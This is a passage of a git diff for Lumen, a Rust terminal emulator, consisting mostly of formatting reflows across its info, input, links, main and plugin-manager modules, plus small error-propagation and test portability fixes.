fg_rgb(flame_color(a, theme)))), (false, true) => line.push_str(&format!("\x1b[0m{}▄", fg_rgb(flame_color(b, theme)))), - (true, true) => line.push_str(&format!( - "{}{}▀", - fg_rgb(flame_color(a, theme)), - bg_rgb(flame_color(b, theme)) - )), + (true, true) => { + line.push_str(&format!("{}{}▀", fg_rgb(flame_color(a, theme)), bg_rgb(flame_color(b, theme)))) + } } } if color { @@ -337,7 +333,8 @@ fn animate(out: &mut impl Write, theme: &Theme, lines: usize, motion: Motion, mu let mut fd = libc::pollfd { fd: libc::STDIN_FILENO, events: libc::POLLIN, revents: 0 }; // SAFETY: one pollfd we own. Readable means a key: stop, and leave // it unread for whatever reads the terminal next. - if unsafe { libc::poll(&mut fd, 1, FRAME.as_millis() as libc::c_int) } > 0 && fd.revents & libc::POLLIN != 0 { + if unsafe { libc::poll(&mut fd, 1, FRAME.as_millis() as libc::c_int) } > 0 && fd.revents & libc::POLLIN != 0 + { break; } } else { @@ -647,7 +644,8 @@ const GIB: f64 = 1024.0 * 1024.0 * 1024.0; /// The 1, 5 and 15 minute load averages, with how much of the machine the /// last minute's is. fn load() -> Option { - let text = if cfg!(target_os = "macos") { output("sysctl", &["-n", "vm.loadavg"])? } else { read("/proc/loadavg")? }; + let text = + if cfg!(target_os = "macos") { output("sysctl", &["-n", "vm.loadavg"])? } else { read("/proc/loadavg")? }; let threads = std::thread::available_parallelism().map_or(1, |n| n.get()); Some(format_load(parse_load(&text)?, threads)) } @@ -669,12 +667,7 @@ fn format_load(l: [f64; 3], threads: usize) -> String { /// Used and total bytes from /proc/meminfo (used = total - available). fn meminfo(text: &str) -> Option<(u64, u64)> { let kb = |key: &str| -> Option { - text.lines() - .find_map(|l| l.strip_prefix(key)?.strip_prefix(':'))? - .split_whitespace() - .next()? - .parse() - .ok() + text.lines().find_map(|l| l.strip_prefix(key)?.strip_prefix(':'))?.split_whitespace().next()?.parse().ok() }; let total = kb("MemTotal")? * 1024; let available = kb("MemAvailable")? * 1024; @@ -736,7 +729,10 @@ mod tests { #[test] fn os_release_prefers_the_pretty_name() { - assert_eq!(os_release_name("NAME=\"Ubuntu\"\nPRETTY_NAME=\"Ubuntu 24.04.1 LTS\"\n").unwrap(), "Ubuntu 24.04.1 LTS"); + assert_eq!( + os_release_name("NAME=\"Ubuntu\"\nPRETTY_NAME=\"Ubuntu 24.04.1 LTS\"\n").unwrap(), + "Ubuntu 24.04.1 LTS" + ); assert_eq!(os_release_name("NAME=Arch\n").unwrap(), "Arch"); assert_eq!(os_release_name("ID=x\n"), None); } @@ -747,7 +743,10 @@ mod tests { assert_eq!(cpu_model(intel).unwrap(), "Intel Core i7-9700K"); let amd = "model name\t: AMD Ryzen 9 7950X 16-Core Processor\n"; assert_eq!(cpu_model(amd).unwrap(), "AMD Ryzen 9 7950X 16-Core"); - assert_eq!(cpu_model("Hardware\t: BCM2835\nModel\t: Raspberry Pi 4 Model B Rev 1.4\n").unwrap(), "Raspberry Pi 4 Model B Rev 1.4"); + assert_eq!( + cpu_model("Hardware\t: BCM2835\nModel\t: Raspberry Pi 4 Model B Rev 1.4\n").unwrap(), + "Raspberry Pi 4 Model B Rev 1.4" + ); assert_eq!(cpu_model("flags: fpu\n"), None); } @@ -793,7 +792,10 @@ mod tests { 01:00.0 \"3D controller\" \"NVIDIA Corporation\" \"AD107M [GeForce RTX 4060 Max-Q / Mobile]\" -ra1 \"\" \"\"\n\ 00:1f.3 \"Audio device\" \"Intel Corporation\" \"Raptor Lake High Definition Audio Controller\"\n"; assert_eq!(gpus_from_lspci(lspci), ["Intel UHD Graphics 770", "NVIDIA GeForce RTX 4060 Max-Q / Mobile"]); - assert_eq!(nvidia_model("Model: \t\t NVIDIA GeForce RTX 5070 Ti\nIRQ: 112\n").unwrap(), "NVIDIA GeForce RTX 5070 Ti"); + assert_eq!( + nvidia_model("Model: \t\t NVIDIA GeForce RTX 5070 Ti\nIRQ: 112\n").unwrap(), + "NVIDIA GeForce RTX 5070 Ti" + ); } #[test] @@ -819,7 +821,8 @@ mod tests { // Coloured cells: one character each, whatever the escapes. let colored = flame_lines(t, &theme, true); for line in &colored { - let visible = line.split('\x1b').map(|seg| seg.split_once('m').map_or(seg, |(_, r)| r)).collect::(); + let visible = + line.split('\x1b').map(|seg| seg.split_once('m').map_or(seg, |(_, r)| r)).collect::(); assert_eq!(visible.chars().count(), FLAME_W, "{line:?}"); } let px = flame(t); diff --git a/src/input.rs b/src/input.rs index 31c17f1..48a3e47 100644 --- a/src/input.rs +++ b/src/input.rs @@ -118,18 +118,18 @@ fn kitty(ks: &Keystroke, mode: TermMode, event: KeyEvent, alt_sends_esc: bool) - (true, KeyEvent::Release) => ":3", _ => "", }; - let modifiers = if mods == 1 && event_suffix.is_empty() { - String::new() - } else { - format!("{mods}{event_suffix}") - }; + let modifiers = if mods == 1 && event_suffix.is_empty() { String::new() } else { format!("{mods}{event_suffix}") }; let out = match key { KittyKey::Functional { number: _, last } if last != 'u' && last != '~' => { // Letter-terminated keys: CSI 1 ; mods X, or CSI X when plain. if modifiers.is_empty() { format!("\x1b[{last}") } else { format!("\x1b[1;{modifiers}{last}") } } KittyKey::Functional { number, last } => { - if modifiers.is_empty() { format!("\x1b[{number}{last}") } else { format!("\x1b[{number};{modifiers}{last}") } + if modifiers.is_empty() { + format!("\x1b[{number}{last}") + } else { + format!("\x1b[{number};{modifiers}{last}") + } } KittyKey::Text(base) => { let mut code = (base as u32).to_string(); @@ -181,18 +181,10 @@ pub fn to_esc(ks: &Keystroke, mode: TermMode, alt_sends_esc: bool) -> Option Vec { - if modp > 1 { - format!("\x1b[{n};{modp}~").into_bytes() - } else { - format!("\x1b[{n}~").into_bytes() - } + if modp > 1 { format!("\x1b[{n};{modp}~").into_bytes() } else { format!("\x1b[{n}~").into_bytes() } }; let ss3_or_csi = |letter: char| -> Vec { - if modp > 1 { - format!("\x1b[1;{modp}{letter}").into_bytes() - } else { - format!("\x1bO{letter}").into_bytes() - } + if modp > 1 { format!("\x1b[1;{modp}{letter}").into_bytes() } else { format!("\x1bO{letter}").into_bytes() } }; let bytes = match ks.key.as_str() { @@ -267,9 +259,7 @@ pub fn to_esc(ks: &Keystroke, mode: TermMode, alt_sends_esc: bool) -> Option Vec<(String, &'static str)> { /// Named keys accepted besides single characters. fn is_named_key(key: &str) -> bool { const NAMED: &[&str] = &[ - "enter", "tab", "space", "backspace", "escape", "delete", "insert", "home", "end", "pageup", "pagedown", - "up", "down", "left", "right", + "enter", + "tab", + "space", + "backspace", + "escape", + "delete", + "insert", + "home", + "end", + "pageup", + "pagedown", + "up", + "down", + "left", + "right", ]; NAMED.contains(&key) || key.strip_prefix('f').and_then(|n| n.parse::().ok()).is_some_and(|n| (1..=24).contains(&n)) @@ -182,7 +195,8 @@ pub fn normalize_keys(source: &str) -> Result { .map(|part| { // Case-insensitive: GPUI would read `T` as shift-t, which surprises // people writing `Ctrl-Alt-T`. - let ks = Keystroke::parse(&part.to_ascii_lowercase()).map_err(|_| format!("`{part}` isn't a key GPUI understands"))?; + let ks = Keystroke::parse(&part.to_ascii_lowercase()) + .map_err(|_| format!("`{part}` isn't a key GPUI understands"))?; if ks.key_char.is_some() || !(ks.key.chars().count() == 1 || is_named_key(&ks.key)) { return Err(format!("unknown key `{}` in `{part}`", ks.key)); } diff --git a/src/links.rs b/src/links.rs index e44e717..c44b6e2 100644 --- a/src/links.rs +++ b/src/links.rs @@ -14,10 +14,8 @@ const URL_REGEX: &str = "(ipfs:|ipns:|magnet:|mailto:|gemini://|gopher://|https: /// Schemes we'll hand to the system opener for URLs written out in the text, /// where what you see is what opens. -const ALLOWED_SCHEMES: &[&str] = &[ - "http", "https", "mailto", "ftp", "file", "gemini", "gopher", "ssh", "git", "news", "magnet", - "ipfs", "ipns", -]; +const ALLOWED_SCHEMES: &[&str] = + &["http", "https", "mailto", "ftp", "file", "gemini", "gopher", "ssh", "git", "news", "magnet", "ipfs", "ipns"]; /// OSC 8 links hide their target behind arbitrary text, so a program could /// dress up `file:///…/evil.desktop` as "docs". Only web and mail targets open. @@ -57,8 +55,7 @@ impl LinkFinder { // Search the whole logical line, following soft wraps. let start = term.line_search_left(point); let end = term.line_search_right(point); - let found = RegexIter::new(start, end, Direction::Right, term, regex) - .find(|m| m.contains(&point))?; + let found = RegexIter::new(start, end, Direction::Right, term, regex).find(|m| m.contains(&point))?; let (start, end) = (*found.start(), *found.end()); let text = term.bounds_to_string(start, end); let trimmed = trim_url(&text); @@ -74,15 +71,11 @@ impl LinkFinder { /// Is this link something we're willing to open? pub fn openable(link: &Link) -> bool { let allowed = if link.explicit { EXPLICIT_SCHEMES } else { ALLOWED_SCHEMES }; - link.uri - .split_once(':') - .is_some_and(|(scheme, _)| allowed.contains(&scheme.to_ascii_lowercase().as_str())) + link.uri.split_once(':').is_some_and(|(scheme, _)| allowed.contains(&scheme.to_ascii_lowercase().as_str())) } fn in_grid(term: &Term, point: Point) -> bool { - point.line >= term.topmost_line() - && point.line <= term.bottommost_line() - && point.column.0 < term.columns() + point.line >= term.topmost_line() && point.line <= term.bottommost_line() && point.column.0 < term.columns() } /// Extend an OSC 8 hyperlink in both directions over cells sharing it. @@ -141,7 +134,10 @@ mod tests { fn trims_prose_punctuation() { assert_eq!(trim_url("https://a.b/c."), "https://a.b/c"); assert_eq!(trim_url("https://a.b/c),"), "https://a.b/c"); - assert_eq!(trim_url("https://en.wikipedia.org/wiki/Rust_(language)"), "https://en.wikipedia.org/wiki/Rust_(language)"); + assert_eq!( + trim_url("https://en.wikipedia.org/wiki/Rust_(language)"), + "https://en.wikipedia.org/wiki/Rust_(language)" + ); assert_eq!(trim_url("https://a.b/?q=1"), "https://a.b/?q=1"); } diff --git a/src/main.rs b/src/main.rs index 05ede7c..e3304eb 100644 --- a/src/main.rs +++ b/src/main.rs @@ -10,8 +10,8 @@ mod hotkey; mod info; mod input; mod keymap; -mod manager; mod links; +mod manager; mod marks; mod mouse; mod palette; @@ -33,11 +33,10 @@ mod vi; mod workspace; use std::borrow::Cow; -use std::time::Duration; use gpui::{ - Action, App, AppContext, Application, Bounds, Pixels, TitlebarOptions, - WindowBounds, WindowDecorations, WindowOptions, actions, point, px, size, + Action, App, AppContext, Application, Bounds, Pixels, TitlebarOptions, WindowBounds, WindowDecorations, + WindowOptions, actions, point, px, size, }; use settings::Settings; @@ -102,7 +101,6 @@ fn load_fonts(cx: &App) { cx.text_system().add_fonts(fonts).expect("failed to load bundled fonts"); } - fn main() { let args: Vec = std::env::args().skip(1).collect(); if args.first().map(String::as_str) == Some("msg") { @@ -134,7 +132,9 @@ fn main() { } if let Some(arg) = args.first() { let help = matches!(arg.as_str(), "-h" | "--help" | "help"); - eprintln!("Usage: lumen open a window\n lumen msg ... control a running Lumen (lumen msg help)\n lumen plugins ... install, update and remove plugins (lumen plugins help)\n lumen info system facts and this Lumen's settings, beside a flame\n lumen campfire a fire that fills the pane, for cold coding sessions\n lumen python-path where the lumen_plugin Python package is\n lumen --version which version this is"); + eprintln!( + "Usage: lumen open a window\n lumen msg ... control a running Lumen (lumen msg help)\n lumen plugins ... install, update and remove plugins (lumen plugins help)\n lumen info system facts and this Lumen's settings, beside a flame\n lumen campfire a fire that fills the pane, for cold coding sessions\n lumen python-path where the lumen_plugin Python package is\n lumen --version which version this is" + ); std::process::exit(if help { 0 } else { 2 }); } Application::new().run(|cx: &mut App| { @@ -148,14 +148,10 @@ fn main() { let listener = api::listen(cx); cx.on_action(|_: &Quit, cx| cx.quit()); - cx.on_action(|_: &NextTheme, cx| { - Settings::update(cx, Settings::next_theme) - }); + cx.on_action(|_: &NextTheme, cx| Settings::update(cx, Settings::next_theme)); cx.on_action(|_: &IncreaseFont, cx| Settings::update(cx, |s| s.font_size += 1.0)); cx.on_action(|_: &DecreaseFont, cx| Settings::update(cx, |s| s.font_size -= 1.0)); - cx.on_action(|_: &ResetFont, cx| { - Settings::update(cx, |s| s.font_size = settings::DEFAULT_FONT_SIZE) - }); + cx.on_action(|_: &ResetFont, cx| Settings::update(cx, |s| s.font_size = settings::DEFAULT_FONT_SIZE)); cx.on_action(|_: &NewWindow, cx| new_window(None, None, cx)); cx.on_action(|_: &ToggleQuickTerminal, cx| { @@ -263,7 +259,7 @@ fn open_window( // The WM places new windows itself; move ours back once it's managed // (retrying briefly), so it also maximizes on the right monitor. for _ in 0..20 { - cx.background_executor().timer(Duration::from_millis(50)).await; + cx.background_executor().timer(std::time::Duration::from_millis(50)).await; let Some(nth) = nth.filter(|_| place.restore_position) else { break }; if x11_move(place.bounds, scale, nth) { break; @@ -289,24 +285,25 @@ fn open_window( /// The New Window action: a window with one tab in `cwd`, the size of the /// window it was opened from (or the default size), placed by the system. pub fn new_window(cwd: Option, from: Option>, cx: &mut App) { - let saved = cwd.map(|cwd| { - session::Session::new( - None, - 0, - vec![session::TabState { - root: session::NodeState::Pane { cwd: Some(cwd) }, - active: 0, - zoomed: false, - title: None, - color: None, - }], - ) - }) - .or_else(|| { - // No folder to inherit (no window open): use `working-directory`. - let home = std::env::var_os("HOME").map(std::path::PathBuf::from); - workspace::fresh_session(&Settings::get(cx).working_directory, home) - }); + let saved = cwd + .map(|cwd| { + session::Session::new( + None, + 0, + vec![session::TabState { + root: session::NodeState::Pane { cwd: Some(cwd) }, + active: 0, + zoomed: false, + title: None, + color: None, + }], + ) + }) + .or_else(|| { + // No folder to inherit (no window open): use `working-directory`. + let home = std::env::var_os("HOME").map(std::path::PathBuf::from); + workspace::fresh_session(&Settings::get(cx).working_directory, home) + }); let mut place = initial_placement(None, cx); if let Some(size) = from { place.bounds = Bounds::centered(None, size, cx); @@ -376,13 +373,11 @@ fn x11_move(bounds: Bounds, scale: f32, nth: usize) -> bool { let Ok((conn, screen)) = x11rb::connect(None) else { return true }; let root = conn.setup().roots[screen].root; let atom = |name: &[u8]| Some(conn.intern_atom(true, name).ok()?.reply().ok()?.atom); - let (Some(client_list), Some(wm_pid)) = (atom(b"_NET_CLIENT_LIST"), atom(b"_NET_WM_PID")) - else { + let (Some(client_list), Some(wm_pid)) = (atom(b"_NET_CLIENT_LIST"), atom(b"_NET_WM_PID")) else { return true; }; - let property = |window, prop, kind: AtomEnum| { - conn.get_property(false, window, prop, kind, 0, 4096).ok()?.reply().ok() - }; + let property = + |window, prop, kind: AtomEnum| conn.get_property(false, window, prop, kind, 0, 4096).ok()?.reply().ok(); let Some(clients) = property(root, client_list, AtomEnum::WINDOW) else { return true }; let me = std::process::id(); let Some(ours) = clients @@ -390,9 +385,7 @@ fn x11_move(bounds: Bounds, scale: f32, nth: usize) -> bool { .into_iter() .flatten() .filter(|&w| { - property(w, wm_pid, AtomEnum::CARDINAL) - .and_then(|p| p.value32()?.next()) - .is_some_and(|pid| pid == me) + property(w, wm_pid, AtomEnum::CARDINAL).and_then(|p| p.value32()?.next()).is_some_and(|pid| pid == me) }) .nth(nth) else { diff --git a/src/manager/data.rs b/src/manager/data.rs index 5afd8cb..57fc270 100644 --- a/src/manager/data.rs +++ b/src/manager/data.rs @@ -81,7 +81,8 @@ impl Snapshot { let local = plugins::plugins_dir() .and_then(|d| std::fs::read_dir(d).ok()) .map(|entries| { - let mut dirs: Vec = entries.flatten().map(|e| e.path()).filter(|d| d.join("plugin.toml").is_file()).collect(); + let mut dirs: Vec = + entries.flatten().map(|e| e.path()).filter(|d| d.join("plugin.toml").is_file()).collect(); dirs.sort(); dirs.iter().filter_map(|d| plugins::check_folder(d).ok()).collect() }) @@ -238,7 +239,12 @@ mod tests { Installed { version: version.into(), commit: "c".repeat(40), permissions: perms, dir } } - fn snapshot(p: &crate::registry::Paths, config: &str, installed: BTreeMap, index: Option) -> Snapshot { + fn snapshot( + p: &crate::registry::Paths, + config: &str, + installed: BTreeMap, + index: Option, + ) -> Snapshot { let settings = crate::settings::Settings::parse(config); Snapshot { enabled: settings.plugins.clone(), @@ -251,11 +257,12 @@ mod tests { } } - const X: &str = "version = \"1.0.0\"\ndescription = \"X things\"\ncommand = \"python3 main.py\"\npermissions = [\"panes\"]\n"; + const X: &str = + "version = \"1.0.0\"\ndescription = \"X things\"\ncommand = \"python3 main.py\"\npermissions = [\"panes\"]\n"; fn approve(p: &crate::registry::Paths, name: &str, perms: &[Permission]) { std::fs::create_dir_all(p.approvals.parent().unwrap()).unwrap(); - crate::plugins::approve_registry_in(&p.approvals, name, perms); + crate::plugins::approve_registry_in(&p.approvals, name, perms).unwrap(); } #[test] @@ -263,8 +270,14 @@ mod tests { let (dir, p) = paths("data-kinds"); let x = install(&p, "mira/x", "1.0.0", vec![Permission::Panes], X); approve(&p, "mira/x", &[Permission::Panes]); - let mut s = snapshot(&p, "plugins = [\"recent-dirs\", \"mira/x\", \"mira/y\"]\n", BTreeMap::from([("mira/x".into(), x)]), None); - let mut local = crate::plugins::parse_manifest(&dir.join("where"), "command = \"./where\"\nversion = \"0.1.0\"\n").unwrap(); + let mut s = snapshot( + &p, + "plugins = [\"recent-dirs\", \"mira/x\", \"mira/y\"]\n", + BTreeMap::from([("mira/x".into(), x)]), + None, + ); + let mut local = + crate::plugins::parse_manifest(&dir.join("where"), "command = \"./where\"\nversion = \"0.1.0\"\n").unwrap(); local.name = "where".into(); s.local = vec![local]; let items = installed(&s); @@ -300,7 +313,10 @@ mod tests { s.statuses.insert("mira/x".into(), ("exited with status 1".into(), true)); s.statuses.insert("recent-dirs".into(), ("running".into(), false)); let items = installed(&s); - assert_eq!(items.iter().find(|i| i.name == "mira/x").unwrap().attention, Some(Attention::Failed("exited with status 1".into()))); + assert_eq!( + items.iter().find(|i| i.name == "mira/x").unwrap().attention, + Some(Attention::Failed("exited with status 1".into())) + ); assert_eq!(items.iter().find(|i| i.name == "recent-dirs").unwrap().attention, None); std::fs::remove_dir_all(dir).unwrap(); } @@ -311,7 +327,12 @@ mod tests { let toml = format!("{X}\n[settings.n]\ntype = \"integer\"\ndefault = 1\ndescription = \"n\"\n"); let x = install(&p, "mira/x", "1.0.0", vec![Permission::Panes], &toml); approve(&p, "mira/x", &[Permission::Panes]); - let s = snapshot(&p, "plugins = [\"mira/x\"]\n\n[plugin.\"mira/x\"]\nn = \"x\"\n", BTreeMap::from([("mira/x".into(), x)]), None); + let s = snapshot( + &p, + "plugins = [\"mira/x\"]\n\n[plugin.\"mira/x\"]\nn = \"x\"\n", + BTreeMap::from([("mira/x".into(), x)]), + None, + ); let items = installed(&s); let x = items.iter().find(|i| i.name == "mira/x").unwrap(); match &x.attention { @@ -351,7 +372,12 @@ mod tests { let x = install(&p, "mira/x", "1.0.0", vec![Permission::Panes], X); let mut too_new = release("1.1.0", vec![Permission::Panes], String::new()); too_new.lumen = "99.0.0".into(); - let s = snapshot(&p, "plugins = [\"mira/x\"]\n", BTreeMap::from([("mira/x".into(), x)]), Some(index(vec![too_new]))); + let s = snapshot( + &p, + "plugins = [\"mira/x\"]\n", + BTreeMap::from([("mira/x".into(), x)]), + Some(index(vec![too_new])), + ); assert!(updates(&s).is_empty()); std::fs::remove_dir_all(dir).unwrap(); } diff --git a/src/manager/mod.rs b/src/manager/mod.rs index 2cb14d9..873e9aa 100644 --- a/src/manager/mod.rs +++ b/src/manager/mod.rs @@ -64,9 +64,7 @@ pub fn run() -> i32 { panic!("a test asked the manager to panic"); } let backend = CrosstermBackend::new(std::io::stdout()); - let result = run_with(env, backend, |wait| { - if event::poll(wait).ok()? { event::read().ok() } else { None } - }); + let result = run_with(env, backend, |wait| if event::poll(wait).ok()? { event::read().ok() } else { None }); drop(guard); match result { Ok(()) => 0, @@ -119,7 +117,9 @@ struct Done { enum Job { /// Load the index: the cached copy unless it's over an hour old. - LoadIndex { refresh: bool }, + LoadIndex { + refresh: bool, + }, Apply(Box), } @@ -256,7 +256,7 @@ pub(crate) fn apply(p: &Paths, index: Option<&Index>, effect: &Effect) -> Result if let Some(m) = approve { // Approved before it's listed, so a running Lumen starts it // without asking again. - crate::plugins::record_decision_at(&p.approvals, m, true); + crate::plugins::record_decision_at(&p.approvals, m, true)?; } registry::set_enabled_in(p, name, *on)?; Ok(format!("Turned {name} {}", if *on { "on" } else { "off" })) @@ -339,7 +339,10 @@ fn statuses() -> BTreeMap { list.iter() .filter_map(|p| { let name = p["name"].as_str()?.to_string(); - Some((name, (p["status"].as_str().unwrap_or_default().to_string(), p["trouble"].as_bool().unwrap_or(false)))) + Some(( + name, + (p["status"].as_str().unwrap_or_default().to_string(), p["trouble"].as_bool().unwrap_or(false)), + )) }) .collect() }) @@ -349,10 +352,10 @@ fn statuses() -> BTreeMap { #[cfg(test)] mod tests { use super::*; - use ratatui::crossterm::event::{KeyCode, KeyEvent, KeyModifiers}; use crate::plugins::Permission; use crate::registry::testing::{archive, entry, paths, release}; use crate::registry::{Index, Paths}; + use ratatui::crossterm::event::{KeyCode, KeyEvent, KeyModifiers}; fn index_of(plugins: Vec<(&str, Vec)>) -> Index { Index { @@ -375,7 +378,10 @@ mod tests { #[test] fn installs_refuse_permissions_not_shown() { let (dir, p) = paths("manager-not-shown"); - let idx = index_of(vec![("mira/x", vec![release("1.0.0", vec![Permission::Panes], archive(&dir, "1.0.0", "\"panes\""))])]); + let idx = index_of(vec![( + "mira/x", + vec![release("1.0.0", vec![Permission::Panes], archive(&dir, "1.0.0", "\"panes\""))], + )]); let e = apply(&p, Some(&idx), &install("mira/x", vec![])).unwrap_err(); assert!(e.contains("asks for more"), "{e}"); assert!(crate::registry::load_installed_from(&p.installed).is_empty(), "nothing installed"); @@ -387,8 +393,14 @@ mod tests { fn update_all_updates_only_what_was_shown() { let (dir, p) = paths("manager-update-shown"); let ydir = dir.join("y"); - let (x1, x2) = (release("1.0.0", vec![], archive(&dir, "1.0.0", "")), release("1.1.0", vec![], archive(&dir, "1.1.0", ""))); - let (y1, y2) = (release("1.0.0", vec![], archive(&ydir, "1.0.0", "")), release("1.1.0", vec![], archive(&ydir, "1.1.0", ""))); + let (x1, x2) = ( + release("1.0.0", vec![], archive(&dir, "1.0.0", "")), + release("1.1.0", vec![], archive(&dir, "1.1.0", "")), + ); + let (y1, y2) = ( + release("1.0.0", vec![], archive(&ydir, "1.0.0", "")), + release("1.1.0", vec![], archive(&ydir, "1.1.0", "")), + ); let first = index_of(vec![("mira/x", vec![x1.clone()]), ("mira/y", vec![y1.clone()])]); apply(&p, Some(&first), &install("mira/x", vec![])).unwrap(); apply(&p, Some(&first), &install("mira/y", vec![])).unwrap(); @@ -452,7 +464,8 @@ mod tests { apply(&p, Some(&first), &install("mira/x", vec![])).unwrap(); apply(&p, Some(&first), &install("mira/y", vec![])).unwrap(); let next = index_of(vec![("mira/x", vec![x1, x2]), ("mira/y", vec![y1, y2])]); - let e = apply(&p, Some(&next), &Effect::UpdateAll(vec![("mira/x".into(), vec![]), ("mira/y".into(), vec![])])).unwrap_err(); + let e = apply(&p, Some(&next), &Effect::UpdateAll(vec![("mira/x".into(), vec![]), ("mira/y".into(), vec![])])) + .unwrap_err(); assert!(e.contains("mira/y"), "{e}"); assert!(e.contains("Updated 1 plugin"), "{e}"); assert_eq!(crate::registry::load_installed_from(&p.installed)["mira/x"].version, "1.1.0"); @@ -481,7 +494,14 @@ mod tests { "LUMEN_MANAGER_TEST_PANIC=1 '{}' manager::tests::panic_child --exact --ignored --nocapture >/dev/null 2>&1; stty -a", me.display() ); - let out = std::process::Command::new("script").args(["-qec", &inner, "/dev/null"]).output().unwrap(); + // util-linux's `script` takes the command with -c; BSD's (macOS) + // takes it after the file. + let args: &[&str] = if cfg!(target_os = "linux") { + &["-qec", &inner, "/dev/null"] + } else { + &["-q", "/dev/null", "sh", "-c", &inner] + }; + let out = std::process::Command::new("script").args(args).output().unwrap(); let text = String::from_utf8_lossy(&out.stdout); assert!(text.contains(" icanon") && text.contains(" echo"), "the terminal stayed raw:\n{text}"); } @@ -545,7 +565,11 @@ mod setting_tests { fn setting_saves_keep_comments_and_other_keys() { let (dir, p) = paths("manager-settings"); std::fs::create_dir_all(p.config.parent().unwrap()).unwrap(); - std::fs::write(&p.config, "# my settings\nfont-size = 14\n\n[plugin.command-history]\nmax-entries = 5000 # plenty\n").unwrap(); + std::fs::write( + &p.config, + "# my settings\nfont-size = 14\n\n[plugin.command-history]\nmax-entries = 5000 # plenty\n", + ) + .unwrap(); let save = |plugin: &str, key: &str, value: Option| { apply(&p, None, &Effect::SaveSetting { plugin: plugin.into(), key: key.into(), value }).unwrap() }; diff --git a/src/manager/model.rs b/src/manager/model.rs index 8a71a78..b868edd 100644 --- a/src/manager/model.rs +++ b/src/manager/model.rs @@ -27,17 +27,34 @@ pub enum Effect { /// Install `name`; `allowed` is what you were asked about and allowed. /// If the plugin now needs more (the index changed meanwhile), nothing /// is installed. - Install { name: String, allowed: Vec }, - Update { name: String, allowed: Vec }, + Install { + name: String, + allowed: Vec, + }, + Update { + name: String, + allowed: Vec, + }, /// Update each of these plugins (the ones shown with updates), with /// what was allowed for each. UpdateAll(Vec<(String, Vec)>), - Remove { name: String, delete_data: bool }, + Remove { + name: String, + delete_data: bool, + }, /// Turn a plugin on or off; `approve` is a built-in's manifest whose /// permissions you just allowed. - SetEnabled { name: String, on: bool, approve: Option }, + SetEnabled { + name: String, + on: bool, + approve: Option, + }, /// Set (or with `None`, reset) one of a plugin's settings. - SaveSetting { plugin: String, key: String, value: Option }, + SaveSetting { + plugin: String, + key: String, + value: Option, + }, RefreshIndex, Quit, } @@ -357,9 +374,8 @@ impl Model { ('i', _) | (' ', None) => self.say(format!("{name} is installed already")), (' ', Some(i)) if needs_install && i.kind == Kind::Registry => self.install(&name), (' ', Some(i)) => match i.kind { - Kind::Local => { - self.say("Local plugins are always on; move its folder out of ~/.config/lumen/plugins to turn it off") - } + Kind::Local => self + .say("Local plugins are always on; move its folder out of ~/.config/lumen/plugins to turn it off"), Kind::BuiltIn if !i.on => { // Approved before (and unchanged since): no need to ask again. let approved = i.manifest.as_ref().is_some_and(|m| { @@ -441,8 +457,8 @@ mod tests { use super::*; use crate::manager::data::{Attention, Item, Kind, Snapshot, Upgrade}; use crate::plugins::Permission; - use crate::registry::testing::{entry, release}; use crate::registry::Index; + use crate::registry::testing::{entry, release}; use ratatui::crossterm::event::{KeyCode, KeyEvent, KeyModifiers}; fn key(m: &mut Model, code: KeyCode) -> Vec { @@ -490,7 +506,8 @@ mod tests { x.versions = vec![release("1.0.0", vec![], String::new())]; let mut git = entry("b/git", 1, &[]); git.versions = vec![release("1.0.0", vec![], String::new())]; - let snapshot = Snapshot { index: Some(Index { version: 1, plugins: vec![docker, x, git] }), ..Default::default() }; + let snapshot = + Snapshot { index: Some(Index { version: 1, plugins: vec![docker, x, git] }), ..Default::default() }; let mut m = Model::new(snapshot); m.items = vec![ item("recent-dirs", Kind::BuiltIn, true, vec![]), @@ -602,7 +619,10 @@ mod tests { Some(Dialog::Approve { permissions, .. }) => assert_eq!(permissions, &[Permission::Screen]), other => panic!("{other:?}"), } - assert_eq!(key(&mut m, KeyCode::Enter), [Effect::Update { name: "mira/b".into(), allowed: vec![Permission::Screen] }]); + assert_eq!( + key(&mut m, KeyCode::Enter), + [Effect::Update { name: "mira/b".into(), allowed: vec![Permission::Screen] }] + ); } #[test] @@ -727,7 +747,11 @@ mod tests { assert!(m.editing.is_some()); assert_eq!( ch(&mut m, ' '), - [Effect::SaveSetting { plugin: "git-branch".into(), key: "sound".into(), value: Some(serde_json::json!(false)) }] + [Effect::SaveSetting { + plugin: "git-branch".into(), + key: "sound".into(), + value: Some(serde_json::json!(false)) + }] ); m.busy = None; assert!(ch(&mut m, 'q').is_empty(), "q leaves the editor, not the manager"); @@ -754,7 +778,7 @@ mod tests { let dir = crate::registry::testing::temp("model-approved"); m.snapshot.approvals = dir.join("approvals.json"); let manifest = m.items.iter().find(|i| i.name == "ssh-hosts").unwrap().manifest.clone().unwrap(); - crate::plugins::record_decision_at(&m.snapshot.approvals, &manifest, true); + crate::plugins::record_decision_at(&m.snapshot.approvals, &manifest, true).unwrap(); select(&mut m, "ssh-hosts"); assert_eq!(ch(&mut m, ' '), [Effect::SetEnabled { name: "ssh-hosts".into(), on: true, approve: None }]); std::fs::remove_dir_all(dir).unwrap(); diff --git a/src/manager/settings_edit.rs b/src/manager/settings_edit.rs index bae8b2a..42a594d 100644 --- a/src/manager/settings_edit.rs +++ b/src/manager/settings_edit.rs @@ -58,7 +58,9 @@ pub fn to_toml(v: &Value) -> Option { pub fn shown(v: &Value) -> String { match v { Value::String(s) => s.clone(), - Value::Array(list) => list.iter().map(|x| x.as_str().map_or_else(|| x.to_string(), str::to_string)).collect::>().join(", "), + Value::Array(list) => { + list.iter().map(|x| x.as_str().map_or_else(|| x.to_string(), str::to_string)).collect::>().join(", ") + } v => v.to_string(), } } @@ -72,7 +74,10 @@ impl Editor { let fields = item .settings .iter() - .map(|s| Field { spec: s.clone(), value: item.values.get(&s.key).cloned().unwrap_or_else(|| s.default.clone()) }) + .map(|s| Field { + spec: s.clone(), + value: item.values.get(&s.key).cloned().unwrap_or_else(|| s.default.clone()), + }) .collect(); Some(Editor { plugin: item.name.clone(), fields, selected: 0, input: None }) } @@ -95,7 +100,12 @@ impl Editor { let base = parse(&kind, input).unwrap_or_else(|| field.value.clone()); *input = shown(&step(&kind, &base, key.code == KeyCode::Right)); } - KeyCode::Char(c) if text_kind || c.is_ascii_digit() || c == '-' || (c == '.' && matches!(kind, Kind::Number { .. })) => { + KeyCode::Char(c) + if text_kind + || c.is_ascii_digit() + || c == '-' + || (c == '.' && matches!(kind, Kind::Number { .. })) => + { input.push(c); } _ => {} @@ -147,7 +157,9 @@ impl Editor { let Some(value) = value else { return EditorResult::Problem(format!("`{}` needs {}", spec.key, needs(&spec.kind))); }; - let Some(toml) = 